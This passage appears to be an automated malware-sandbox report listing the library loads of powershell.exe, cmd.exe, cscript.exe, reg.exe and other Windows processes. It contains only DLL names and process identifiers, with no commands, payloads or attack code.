%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00006552) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00006552) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008068) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008068) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008068) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008068) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\urlmon.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\aspnet_rc.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\aspnet_rc.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_rc.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\webengine4.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\\webengine4.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\webengine4.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter webengine4.dll (UID: 00000000-00001580) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001580) "findstr.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007624) "findstr.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007624) "findstr.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007624) "findstr.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007624) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001956) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001956) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001956) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001956) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007548) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007548) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007548) "find.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007548) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007456) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007456) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007456) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007456) "cscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007460) "cscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007460) "cscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007460) "cscript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007460) "cscript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007460) "cscript.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007460) "cscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007460) "cscript.exe" called "LoadLibrary" with a parameter WLDP.DLL (UID: 00000000-00007460) "cscript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007460) "cscript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007460) "cscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00007460) "cscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00007460) "cscript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00007460) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007228) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007228) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007228) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007228) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005708) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005708) "find.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005708) "find.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005708) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006476) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006476) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006476) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006476) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008108) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00008108) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00008108) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00008108) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00008156) "cmd.exe" called "LoadLibrary" with a parameter 